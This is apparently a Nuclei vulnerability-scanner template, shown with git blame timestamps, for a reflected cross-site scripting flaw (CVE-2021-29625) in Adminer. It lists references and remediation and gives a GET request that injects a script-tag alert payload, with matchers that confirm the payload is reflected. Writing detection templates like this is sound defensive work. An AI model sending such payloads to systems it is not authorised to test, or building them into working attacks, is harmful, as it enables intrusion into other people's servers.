nuclei-templates/cves/2021/CVE-2021-29625.yaml

42 lines
1.5 KiB
YAML
Raw Normal View History

2021-09-05 10:12:40 +00:00
id: CVE-2021-29625
info:
name: Adminer <=4.8.0 - Cross-Site Scripting
2021-09-05 10:12:40 +00:00
author: daffainfo
severity: medium
description: Adminer 4.6.1 to 4.8.0 contains a cross-site scripting vulnerability which affects users of MySQL, MariaDB, PgSQL, and SQLite in browsers without CSP when Adminer uses a `pdo_` extension to communicate with the database (it is used if the native extensions are not enabled).
2021-09-05 10:12:40 +00:00
reference:
- https://sourceforge.net/p/adminer/bugs-and-features/797/
- https://github.com/vrana/adminer/commit/4043092ec2c0de2258d60a99d0c5958637d051a7
- https://nvd.nist.gov/vuln/detail/CVE-2021-29625
remediation: This vulnerability is patched in version 4.8.1. As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g. `mysqli`) or disable displaying PHP errors (`display_errors`).
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-29625
cwe-id: CWE-79
tags: cve,cve2021,adminer,xss
2021-09-05 10:12:40 +00:00
requests:
- method: GET
path:
2021-09-06 09:46:12 +00:00
- '{{BaseURL}}/?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2021-09-05 10:12:40 +00:00
matchers-condition: and
matchers:
- type: word
words:
2021-09-06 09:46:12 +00:00
- "</script><script>alert(document.domain)</script>"
2021-09-05 10:12:40 +00:00
part: body
- type: word
words:
- "text/html"
part: header
- type: status
status:
- 200
# Enhanced by mp on 2022/08/28